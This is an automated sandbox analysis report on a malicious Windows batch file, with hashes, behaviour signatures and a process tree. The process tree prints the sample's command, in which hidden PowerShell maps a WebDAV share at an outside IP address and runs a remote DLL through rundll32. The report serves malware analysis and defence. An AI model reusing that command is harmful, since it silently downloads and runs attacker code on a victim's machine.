Resubmissions

11-12-2024 15:32

241211-sy44nssrdm 10

09-08-2024 21:57

240809-1t1vfs1cpm 10

06-08-2024 13:01

240806-p9f97szdlm 10

06-08-2024 12:52

240806-p3672stdkg 10

06-08-2024 12:29

240806-ppa8fsygqr 10

06-08-2024 12:26

240806-pmc92ashlh 10

Analysis

  • max time kernel
    7s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06-08-2024 12:52

General

  • Target

    1/b2a1d168dc4234e687d0969b6a1901ac7e69c0d4bb72a1a4c76ba67fa6a14f9d.bat

  • Size

    2KB

  • MD5

    1f6a683461594803fd6dc17f376ca209

  • SHA1

    82d0627379b0ff73279122bcf2d40db15eb83483

  • SHA256

    b2a1d168dc4234e687d0969b6a1901ac7e69c0d4bb72a1a4c76ba67fa6a14f9d

  • SHA512

    ceb192ba7afbd9c7308098abff5f83e824ca0d28c9077271abf6e048cc0f161d0db798fba5463d5598f1428e0505fa1a9dd0ae81e74f91abb8873c7693a7cc49

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1\b2a1d168dc4234e687d0969b6a1901ac7e69c0d4bb72a1a4c76ba67fa6a14f9d.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:4520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2592.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2052
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2592.dll,entry
          3⤵
            PID:3336
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
        1⤵
          PID:1680

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uchplh1o.lsw.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3824-5-0x0000025D25270000-0x0000025D25292000-memory.dmp

          Filesize

          136KB